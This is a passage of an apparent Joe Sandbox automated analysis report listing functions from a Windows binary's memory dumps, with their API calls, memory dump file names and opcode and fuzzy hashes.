Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Alloc__vcrt___vcrt_uninitialize_ptd
String ID:
API String ID: 3765095794-0
Opcode ID: ce76eb26b14415838449865cd5ede78bf3b980bdfab7b25fa4d7bbb502b8a526
Instruction ID: 372f3625d92b9b47d2a1cd8ee3e58e5b3fdf8348c27628bfeba78f201c746b53
Opcode Fuzzy Hash: ce76eb26b14415838449865cd5ede78bf3b980bdfab7b25fa4d7bbb502b8a526
Instruction Fuzzy Hash: C5E01A70E0D7C2C6FA50BB349C450F9A2506F05314FDC1631D02D861E6DE6CEA4BC63A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB1F74 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF75FBB1F98

Part of subcall function 00007FF75FBA20E8: wcscpy.LIBCMT ref: 00007FF75FBA212A

wcscpy.LIBCMT ref: 00007FF75FBB1FBA

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: a98feb0b073193213299ad8b9b344e993bb45c44c80e5b9f4e929e910bc24ad5
Instruction ID: 2181e0a92435ce97a21c800ba2a83a3acc0e4d26f4669a6caea80e85b2ace276
Opcode Fuzzy Hash: a98feb0b073193213299ad8b9b344e993bb45c44c80e5b9f4e929e910bc24ad5
Instruction Fuzzy Hash: C9113A65E091C3D9EA00BB34E8513F5B7A0AF59340FCC4039E64C862A6EE6CE549C730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBC744 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75FBBC76C

Part of subcall function 00007FF75FBBC8FC: GetModuleHandleExW.KERNEL32 ref: 00007FF75FBBC91C
Part of subcall function 00007FF75FBBC8FC: GetProcAddress.KERNEL32 ref: 00007FF75FBBC932
Part of subcall function 00007FF75FBBC8FC: FreeLibrary.KERNEL32 ref: 00007FF75FBBC957

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: b7434d0ace942d153212df3c47e16d6f2957190157adf300bf89ec24e181dcfc
Instruction ID: 765bfc1fb5723da4cae4e437953573f52ca7260df73e082a8a7e8208fdba2ce5
Opcode Fuzzy Hash: b7434d0ace942d153212df3c47e16d6f2957190157adf300bf89ec24e181dcfc
Instruction Fuzzy Hash: 17419DA1E196C2C3FB64FB3598502FAA3A1AF84B40F98503AD90D47691DF3DEC85C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC1E1C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBC1E50

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6bacc15e939ad4406d12e76bf0ac23a0958011e7a90d5b98d1f4f1c03ba716d5
Instruction ID: d2d907a1814980cbe84205e68ee6d41864131e8788a484ac3cfb97490b3edde6
Opcode Fuzzy Hash: 6bacc15e939ad4406d12e76bf0ac23a0958011e7a90d5b98d1f4f1c03ba716d5
Instruction Fuzzy Hash: C2113736A1D6C3C6E710BF60A4405BAE2A4FF44380FDC0535E69D96A96DF3CE9518724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB30E4 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBB3190: GetModuleHandleW.KERNEL32(?,?,?,00007FF75FBB30FF,?,?,?,00007FF75FBB34BA), ref: 00007FF75FBB31B7

DloadProtectSection.DELAYIMP ref: 00007FF75FBB3155

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 443a6fb85f2ce70add07ed126bc374300d244f559177922aa332cece75ec9c3b
Instruction ID: 5121464f3113d0a73b7062c75e88ce9fa9707dc0b836019bbdaaa922f98db1a5
Opcode Fuzzy Hash: 443a6fb85f2ce70add07ed126bc374300d244f559177922aa332cece75ec9c3b
Instruction Fuzzy Hash: 86110CA1D586C3C7FB50BB74A8807F1D394AF04788FCC0135D90C462A5DE3CA9CA8235

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC05D4 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF75FBC0629

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d1df724ef77f75cd06070d672878072096d2f1e4dbb48faf7da0b7853a72c1b
Instruction ID: 19289193ae5dbe9c85184129a972c033eda05bd6e73cbdd2e73076a81a925073
Opcode Fuzzy Hash: 9d1df724ef77f75cd06070d672878072096d2f1e4dbb48faf7da0b7853a72c1b
Instruction Fuzzy Hash: ACF04944B19287C6FE657F7599112F7E2845F88BD0FCC4430884EC72C2EE2CE9818A34

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B770 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB9B8F8: FindFirstFileW.KERNELBASE(?,00007FF75FB9B79F), ref: 00007FF75FB9B93D
Part of subcall function 00007FF75FB9B8F8: FindFirstFileW.KERNEL32 ref: 00007FF75FB9B96E
Part of subcall function 00007FF75FB9B8F8: GetLastError.KERNEL32 ref: 00007FF75FB9B97D

FindClose.KERNELBASE ref: 00007FF75FB9B7A8

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 758af1dd85113a8cb817686491269d3df0c0a8f55231bf401f0df110ebb4b438
Instruction ID: e04d8705d74193cbc669c4eb96fcaaf822ba116406924351bce9871945a5c1f0
Opcode Fuzzy Hash: 758af1dd85113a8cb817686491269d3df0c0a8f55231bf401f0df110ebb4b438
Instruction Fuzzy Hash: 50F081229086C2C6EB11AA7192412E8B3209B59BF5F4C8335DABD0B3D7CD5C91858730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA38FC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE7F
Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE98

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBB258D

Part of subcall function 00007FF75FBB1890: GetDlgItem.USER32 ref: 00007FF75FBB18C5
Part of subcall function 00007FF75FBB1890: ShowWindow.USER32 ref: 00007FF75FBB18EB
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1900
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1918
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1939
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1955
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1998
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB19AC
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB19C0
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB19EA
Part of subcall function 00007FF75FBB1890: IsDlgButtonChecked.USER32 ref: 00007FF75FBB1A02

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ButtonChecked$LoadString$ItemShowWindowswprintf
String ID:
API String ID: 2482695087-0
Opcode ID: fff7c9e4bc2c3cd4619abb028f25086067d4fe82ef5478c64b149bd87a6a94ce
Instruction ID: a82488e3f4fe82ed8c17ab55c9eb27aee90fa36d43f94a3c4341497daa85303f
Opcode Fuzzy Hash: fff7c9e4bc2c3cd4619abb028f25086067d4fe82ef5478c64b149bd87a6a94ce
Instruction Fuzzy Hash: 1BF0E211B086C586FA207671E9163FE8381AF853C8FD84131FAAE077DBDC2CCA444710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A630 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF75FB9A5DD), ref: 00007FF75FB9A658

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 212cc4bace8085fef6627fbed83f48c3325ef587dbe45b8668402039f2d85827
Instruction ID: 5cc45ec2ec5d1857dd46df46a70780d8163d3a7f960e9f9f32f365a2ef0ba37e
Opcode Fuzzy Hash: 212cc4bace8085fef6627fbed83f48c3325ef587dbe45b8668402039f2d85827
Instruction Fuzzy Hash: F6F0A462A08782D4FB64AB34EA443B9B664DB41FB8F9D5334D63C451C4CF28D8958720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBDA58 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF75FBBDA96

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 03faee5455a41d0970fd0e63024c1e613f6af730e0fa59899db6ed1bb8cc88bc
Instruction ID: 2db11bc5f8ca98cdf3d181c75b814597b2c54f18a69c8c63fb0af491f5866d29
Opcode Fuzzy Hash: 03faee5455a41d0970fd0e63024c1e613f6af730e0fa59899db6ed1bb8cc88bc
Instruction Fuzzy Hash: D1F0F840F1D687C6FE547BB199412F5E2809F8C7A0F8C4730DE2E862CADE6CAC818538

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB38A0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75FBB38D0

Part of subcall function 00007FF75FBB3FFC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBB4005

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 4dfc08cdeeb08750f013b755c6ed595e0fed9c9534be3c03a2b3033aab705a33
Instruction ID: e3cb7e7c6f69ca69652e97217aa69e2fefa56bb896334a82337c3a356bcc4c1d
Opcode Fuzzy Hash: 4dfc08cdeeb08750f013b755c6ed595e0fed9c9534be3c03a2b3033aab705a33
Instruction Fuzzy Hash: 56E0EC50E9D187C3F95832B218161F981404F19370EDC1B30DD3D082C3AD1DEC56823E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9AB44 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF75FB9AB5D

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 11b1f2b1018e56caa8821faeaad5060e4c750f80eb2c4ba6fef7761e7ec45562
Instruction ID: a6f95966d5b5fe76f9e7c8987cee1bd6868810fe73275704e7971f5696652660
Opcode Fuzzy Hash: 11b1f2b1018e56caa8821faeaad5060e4c750f80eb2c4ba6fef7761e7ec45562
Instruction Fuzzy Hash: 82E08C56B20596C2EB20BB7AC8516AA9322AF8DBC4F8C1030CE0C07761CE28D4818710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBE700 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF75FBBE72B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: __vcrt_uninitialize_ptd
String ID:
API String ID: 1180542099-0
Opcode ID: 2a68aa68cf5e032bdbfc7122639fa2b42e0c491799a00a6c7e79bf908a7bab57
Instruction ID: aac0d546401c2a5c869b178dbff9221e6802c122a32976125eb82448481a0581
Opcode Fuzzy Hash: 2a68aa68cf5e032bdbfc7122639fa2b42e0c491799a00a6c7e79bf908a7bab57
Instruction Fuzzy Hash: 08E0B660E0E2C3D6E9987B3288420F9A2502F25314FDC1A75E01E821E2ED2E69065A3A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB2318 Relevance: 1.5, APIs: 1, Instructions: 12windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 00007FF75FBB2342

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: f1b4ed78b98df09309aff98c44a847ef4ec68267f435a55d52b31d39372f1c85
Instruction ID: c4a32bf484b086da80431acc418baa3ad6ef80a9e570a4f6ec067491a9faefef
Opcode Fuzzy Hash: f1b4ed78b98df09309aff98c44a847ef4ec68267f435a55d52b31d39372f1c85
Instruction Fuzzy Hash: 20D0A794F096C5C2F720B711A4153F983507F55B80F940234D94D0E791CE6CD1274B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A968 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF75FB9A97A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c39f4476cc59087d02f7cb1bea003a4bc2482edead308a9328c245ec26982a56
Instruction ID: 730409591996bfcc700ddc39bfed661b2195a30e41afea82bfd136c6260711df
Opcode Fuzzy Hash: c39f4476cc59087d02f7cb1bea003a4bc2482edead308a9328c245ec26982a56
Instruction Fuzzy Hash: FCD0C912D09481C2D9106779D9511BDA354BF42735FE90720D23EC26E1CE1DA4969220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE91C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF75FBAE920

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 5338a235c8d50967549d23fbf21572ed64d44ed7639b9633c157d133c87d5f2d
Instruction ID: ab594375e5c31017114bfed3cb7c18d1c2cc50e09ab3d7735b8036c68488e38e
Opcode Fuzzy Hash: 5338a235c8d50967549d23fbf21572ed64d44ed7639b9633c157d133c87d5f2d
